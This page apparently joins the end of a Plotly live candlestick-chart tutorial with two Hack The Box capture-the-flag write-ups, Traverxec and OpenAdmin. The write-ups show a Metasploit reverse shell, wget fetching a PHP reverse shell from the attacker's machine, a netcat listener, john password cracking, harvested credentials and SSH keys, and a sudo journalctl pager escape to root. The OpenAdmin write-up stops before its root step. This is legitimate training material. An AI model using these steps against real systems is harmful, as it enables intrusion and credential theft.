        <link rel="stylesheet" href="style.css">

        <script src="plotly-latest.min.js"></script>
    </head>
    <body>
        <div id="myChart"></div>
               
    </body>

    <script type="text/javascript">

       
    Plotly.d3.csv('1min_candlestick.csv', function(err, rows){

    function unpack(rows, key) {
      return rows.map(function(row) {
        return row[key];
      });
    }

    var trace = {
      x: unpack(rows, 'DateTime'),
      close: unpack(rows, 'Close'),
      high: unpack(rows, 'High'),
      low: unpack(rows, 'Low'),
      open: unpack(rows, 'Open'),
      volume:unpack(rows,'Volume'),

      increasing: {line: {color: 'green'}},
      decreasing: {line: {color: 'red'}},

      type: 'candlestick',
      xaxis: 'x',
      yaxis: 'y'
    };

    var data = [trace];

    var layout = {
      xaxis: {
        autorange: true,
        title: 'Date'
      },
      yaxis: {
        autorange: true,
          domain:[0,1],
          type:'linear'
      }
    };

      Plotly.plot('myDiv', data, layout);
    });

    </script>

</html>

As you can see here I already import some data from a CSV file. You can send a GET request to your server to fetch up to date data. Hint : use your own candlestick that you stored in a database.

What is interesting to us is to add the traces of the incoming data. It is surprisingly easy, simply initialize a socket.io and on connecting to the server, wait for incoming candlesticks and use the extendTracesmethod from PlotlyJS to push the data to your chart!

var socket = io();
socket.on('candlestick', function(msg) {

    var O = msg.o
    var H = msg.h
    var L = msg.l
    var C = msg.c

    var month = ("0" + msg.month).slice(-2);
    var day = ("0" + msg.day).slice(-2);
    var hour = ("0" + msg.hour).slice(-2);
    var minutes = ("0" + msg.minutes).slice(-2);

    var date = msg.year + "-" + month + "-" + day + " " + hour + ":" + minutes

    Plotly.extendTraces('myDiv', {
        x: [
            [date]
        ],
        close: [
            [C]
        ],
        high: [
            [H]
        ],
        low: [
            [L]
        ],
        open: [
            [O]
        ]
    }, [0]);
});

That’s it! You now have a server receiving live data from the Bittrex market, then compiling this data, pushing it to your clients every minute (or time frame you need) and finally displaying in the clients browser.

You can go further and implement a real-time Level 2 feed for example, or add custom indicators on the charts and what not. Add a couple of buttons to send coins, place orders and you have a full trading platform!

Thanks for reading!

charting demo

CTF – HTB – Traverxec

We start with an nmap scan :

root@kali:~/Desktop/htb/Traverxec# cat TCP_scan
# Nmap 7.80 scan initiated Tue Nov 26 19:03:55 2019 as: nmap -sC -sV -o TCP_scan -Pn 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.017s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 26 19:04:12 2019 -- 1 IP address (1 host up) scanned in 17.20 seconds

The webserver is nostromo 1.9.6 which is vulnerable to an RCE :

root@kali:~/Desktop/htb/Traverxec# searchsploit nostromo
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit) | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | exploits/linux/remote/35466.sh
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

We quickly use the metasploit module to get an initial shell :

msf5 exploit(multi/http/nostromo_code_exec) > set rhosts 10.10.10.165
rhosts => 10.10.10.165
msf5 exploit(multi/http/nostromo_code_exec) > set lhost tun0
lhost => 10.10.14.200
msf5 exploit(multi/http/nostromo_code_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.200:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.200:4444 -> 10.10.10.165:37270) at 2020-01-27 22:05:30 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We find information about nostromo configuration :

cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html

# LOGS [OPTIONAL]

logpid logs/nhttpd.pid

# SETUID [RECOMMENDED]

user www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs /home
homedirs_public public_www

Simple enumeration reveals us the credentials for user david in /var/nostromo/conf/.htpasswd :

david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
root@kali:~/Desktop/htb/Traverxec# john david_credentials --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])

[...snip...]

root@kali:~/Desktop/htb/Traverxec# john --show david_credentials
david:Nowonly4me

1 password hash cracked, 0 left
root@kali:~/Desktop/htb/Traverxec#

The credentials don’t work in ssh or su david, we continue reading the nostromo man page and we find that we can access http://10.10.10.165/~david/ but we get on an html page with no other details, except written ‘user’s private space’.

By continuing reading the man page of nostromo, we find that not only /~david/ is accessible but also the homedir /public_www/. In our shell we do ls -la /home/david/public_www/ and we can access the files.

ls -la /home/david/public_www/

total 16
drwxr-xr-x 3 david david 4096 Jan 27 16:34 .
drwx--x--x 6 david david 4096 Jan 27 22:14 ..
-rw-r--r-- 1 david david 402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area

We then use david’s credential and /protected-file-area, which is protected by a 401 HTTP Auth.

Directory listing

We gunzip backup-ssh-identity-files.tgz and untar then we get an ssh private key. For the private key password we use ssh2john.py to convert our private key to a hash that we can crack with john.

root@kali:~/Desktop/htb/Traverxec# john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
1g 0:00:00:38 13.85% (ETA: 13:35:53) 0.02628g/s 57335p/s 57335c/s 57335C/s 9178240514..91769176
1g 0:00:00:56 20.93% (ETA: 13:35:46) 0.01784g/s 57319p/s 57319c/s 57319C/s tigger102..tigger0968
1g 0:00:01:01 24.55% (ETA: 13:35:27) 0.01626g/s 60258p/s 60258c/s 60258C/s skylynn356..skylyenm8
Session aborted

We then login and grab user ssh -i id_rsa david@10.10.10.165. After a little enumeration we find some interesting files that we download to our machine :

root@kali:~/Desktop/htb/Traverxec# scp -i ./home/david/.ssh/id_rsa david@10.10.10.165:~/bin/* ./
Enter passphrase for key './home/david/.ssh/id_rsa':
server-stats.head 100% 802 42.2KB/s 00:00
server-stats.sh
david@traverxec:~/bin$ ./server-stats.sh
                                                     .----.
                                         .---------. | == |
Webserver Statistics and Data            |.-"""""-.| |----|
Collection Script                        ||       || | == |
(c) David, 2019                          ||       || |----|
                                         |'-.....-'| |::::|
                                         '"")---(""' |___.|
                                        /:::::::::::\" "
                                       /:::=======:::\
                                   jgs '"""""""""""""'

Load: 12:12:40 up 2:05, 6 users, load average: 0.00, 0.00, 0.00

Open nhttpd sockets: 6
Files in the docroot: 117

Last 5 journal log lines:
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:12:40 EST. --
Jan 28 12:12:06 traverxec su[8903]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david
Jan 28 12:12:08 traverxec su[8903]: FAILED SU (to david) www-data on none
Jan 28 12:12:19 traverxec su[8914]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david
Jan 28 12:12:21 traverxec su[8914]: FAILED SU (to david) www-data on none
Jan 28 12:12:38 traverxec su[8920]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david

server-stats.sh

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Since the file is under the ownership of user david and is executing /usr/bin/sudo with root privileges then we now that this command can give us a root shell. However we can’t change any of the arguments.

Some information on gtfobins explains that journalctl can be used to break out of the shell, and also that it invokes the default pager less.

This invokes the default pager, which is likely to be less, other functions may apply.

By executing the command the pager simply prints out the content without letting us invoking a shell. We proceed to force less to give us a prompt by resizing the terminal size so that we have to scroll the output, giving us a change to invoke a shell as root with !/bin/sh.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:20:38 EST. --
Jan 28 12:17:46 traverxec sudo[9376]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Jan 28 12:17:46 traverxec sudo[9376]: www-data : command not allowed ; TTY=unknown ; PWD=/home/david ; USER=root ; COMMAND=list
Jan 28 12:19:30 traverxec sudo[9423]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=www-data
Jan 28 12:19:48 traverxec passwd[9435]: pam_unix(passwd:chauthtok): authentication failure; logname= uid=33 euid=0 tty= ruser= rhost= user=www-data
Jan 28 12:20:06 traverxec sudo[9442]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=www-data
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:20:41 EST
Jan 28 12:17:46 traverxec sudo[9376]: pam_unix(sudo:auth): auth could not identi
Jan 28 12:17:46 traverxec sudo[9376]: www-data : command not allowed ; TTY=unkno
Jan 28 12:19:30 traverxec sudo[9423]: pam_unix(sudo:auth): authentication failur
Jan 28 12:19:48 traverxec passwd[9435]: pam_unix(passwd:chauthtok): authenticati
Jan 28 12:20:06 traverxec sudo[9442]: pam_unix(sudo:auth): authentication failur
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#

And we completed the challenge!

Thanks for reading!

CTF – HTB – OpenAdmin

Today we solve the OpenAdmin box on hackthebox.eu.

First we start with a basic nmap scan :

# Nmap 7.80 scan initiated Mon Jan 13 18:22:36 2020 as: nmap -sC -sV -o TCP_scan 10.10.10.171
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.097s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 13 18:23:07 2020 -- 1 IP address (1 host up) scanned in 31.21 seconds

Port 80 gives us the default Apache page, we proceed to scan directories with dirbuster :

root@kali:~/Desktop/htb/OpenAdmin# cat DirBusterReport-10.10.10.171-80.txt                                                                                    
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Mon Jan 13 18:20:13 EST 2020
--------------------------------

http://10.10.10.171:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/music/
/music/img/
/music/img/icons/
/ona/
/music/img/concept/
/music/img/premium/
/music/js/
/music/img/playlist/
/music/img/blog/
/music/img/songs/
/artwork/
/artwork/images/
/artwork/js/
/sierra/
/sierra/img/
/sierra/img/home-slider/
/sierra/img/icon/
/sierra/img/team/
/sierra/img/team/people/
/sierra/img/testimonials/
/sierra/img/instagram/
/sierra/img/portfolio/
/sierra/js/

[...snip...]


/sierra/js/smoothscroll.js
/sierra/js/theme.js
/sierra/vendors/circle-bar/circle-progress.min.js
/sierra/js/circle-active.js
/sierra/vendors/circle-bar/plugins.js
/sierra/vendors/isotope/imagesloaded.pkgd.min.js
/sierra/js/gmaps.min.js
/sierra/vendors/isotope/isotope.pkgd.min.js
/sierra/js/jquery.form.js
/sierra/js/jquery.validate.min.js
/sierra/js/contact.js
/sierra/vendors/owl-carousel/owl.carousel.min.css
/sierra/vendors/magnify-popup/magnific-popup.css
/sierra/vendors/progress/circle-progress.js
/sierra/vendors/progress/circularprogress.css
/sierra/vendors/progress/circularprogress.jquery.min.js

Files found with a 301 responce:

/ona


--------------------------------

Of all the directories /ona looks the most interesting… It is running the OpenNetAdmin software version 18.1.1, which a quick search with searchploit reveals that is vulnerable with to RCE.

root@kali:~/Desktop/htb/OpenAdmin# searchsploit OpenNetAdmin
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                       |  Path
                                                                                                                     | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                        | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                         | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                          | exploits/php/webapps/47691.sh
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

We copy the file and execute it :

root@kali:~/Desktop/htb/OpenAdmin# cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./                                                                   
root@kali:~/Desktop/htb/OpenAdmin# chmod +x 47691.sh 
root@kali:~/Desktop/htb/OpenAdmin# dos2unix 47691.sh 
dos2unix: converting file 47691.sh to Unix format...
root@kali:~/Desktop/htb/OpenAdmin# bash 47691.sh 10.10.10.171/ona/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

dos2unix is a simple binary to convert the text file format to a UNIX format. Then, to have a better shell we upload a php reverse shell, we run a simple HTTP server with python then we use wget on the victim’s machine to get it :

wget -O rev.php http://10.10.15.100:9999/rev.php

We open a listener on our end and use curl to execute the php reverse shell :

root@kali:~/Desktop/htb/OpenAdmin# nc -lvp 9898                                                                                                               
listening on [any] 9898 ...                                                                                                                                   
connect to [10.10.15.100] from openadmin.htb [10.10.10.171] 58886                                                                                             
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux                                                  
 00:16:10 up 15 min,  5 users,  load average: 5.25, 4.17, 2.16                                                                                                
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT                                                                                           
joanna   pts/1    10.10.15.100     00:02    5:57   0.06s  0.00s sshd: joanna [priv]                                                                           
jimmy    pts/3    10.10.14.99      00:03    8:49   0.03s  0.03s -bash                                                                                         
joanna   pts/5    10.10.16.47      00:08   57.00s  0.07s  0.07s -bash                                                                                         
jimmy    pts/6    10.10.15.100     00:08    4:50   0.04s  0.04s -bash                                                                                         
jimmy    pts/7    10.10.15.44      00:09   34.00s  0.05s  0.05s -bash                                                                                         
uid=33(www-data) gid=33(www-data) groups=33(www-data)                                                                                                         
/bin/sh: 0: can't access tty; job control turned off                                                                                                          
$                                                                                                                                                             
                                                                                                                                                              
$ $ python3 -c "import pty;pty.spawn('/bin/bash');"                                                                                                           
www-data@openadmin:/$

We then explore the /ona directory and find mysql credentials, which we use to login with user jimmy by ssh :

www-data@openadmin:/var/www/ona/local/config$ ls -la                                                                                                          
ls -la                                                                                                                                                        
total 16                                                                                                                                                      
drwxrwxr-x 2 www-data www-data 4096 Nov 21 16:51 .                                                                                                            
drwxrwxr-x 5 www-data www-data 4096 Jan  3  2018 ..                                                                                                           
-rw-r--r-- 1 www-data www-data  426 Nov 21 16:51 database_settings.inc.php                                                                                    
-rw-rw-r-- 1 www-data www-data 1201 Jan  3  2018 motd.txt.example                                                                                             
-rw-r--r-- 1 www-data www-data    0 Nov 21 16:28 run_installer                                                                                                
www-data@openadmin:/var/www/ona/local/config$
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>
root@kali:~/Desktop/htb/OpenAdmin# ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 28 00:51:40 UTC 2020

  System load:  0.25              Processes:             421
  Usage of /:   49.4% of 7.81GB   Users logged in:       1
  Memory usage: 33%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 28 00:48:30 2020 from 10.10.14.167
jimmy@openadmin:~$

Still going straightforward, we visit /var/www/internal/ folder, which is under the ownership of jimmy user, that we have now accessed. The folder contain 3 php files : index.php which simply contains a form that sends a POST request and verify if the username is ‘jimmy’ and the password is some sha-512 hashed password, then redirects to main.php when the credentials are good. main.php simply echo’s the id_rsa of the user joanna on the box which we will have to pivot to.

index.php

[...snip...]
      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> 
[...snip...]

main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

We start by cracking the sha-512 hash :

root@kali:~/Desktop/htb/OpenAdmin# cat hash                                                                                                                   
jimmy:00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1                        
root@kali:~/Desktop/htb/OpenAdmin# john --format=raw-sha512 --wordlist=/usr/share/wordlists/rockyou.txt hash
[...snip...]
sing default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 25.63% (ETA: 20:01:49) 0g/s 1751Kp/s 1751Kc/s 1751KC/s shafous..shadowfreee
[...snip...]
root@kali:~/Desktop/htb/OpenAdmin# john --show hash
jimmy:Revealed

We can then send a POST request with the correct data to our page. However it is not hosted in the main directory… A lookup of listening port shows us that port 52846 is open so we send our request there :

jimmy@openadmin:/var/www/internal$ netstat -ano                                                                                                               
Active Internet connections (servers and established)                                                                                                         
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer                                                                         
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)   
[...snip...]
jimmy@openadmin:/var/www/internal$ curl -d "username=jimmy&password=Revealed" -X POST http://localhost:52846/main.php                                         
<pre>-----BEGIN RSA PRIVATE KEY-----                                                                                                                          
Proc-Type: 4,ENCRYPTED                                                                                                                                        
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D                                                                                                        
                                                                                                                                                              
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8                                                                                              
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO                                                                                              
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE                                                                                              
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$

The next step is to crack this ssh key and to get is passphrase, then we can login as joanna user :

root@kali:~/Desktop/htb/OpenAdmin# python ssh2john.py id_rsa
id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

root@kali:~/Desktop/htb/OpenAdmin# john id_rsa_to_crack --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 15.75% (ETA: 18:45:29) 0g/s 809092p/s 809092c/s 809092C/s zumiez33..zumiewan
0g 0:00:00:05 30.40% (ETA: 18:45:26) 0g/s 893846p/s 893846c/s 893846C/s prinny7..prinni123
0g 0:00:00:08 47.95% (ETA: 18:45:26) 0g/s 865528p/s 865528c/s 865528C/s jlb2qe..jlb2180
bloodninjas      (id_rsa)
1g 0:00:00:15 DONE (2020-01-27 18:45) 0.06281g/s 900860p/s 900860c/s 900860C/sa6_123..*7¡Vamos!
Session completed

We then login as joanna with and quickly find our way to get root:

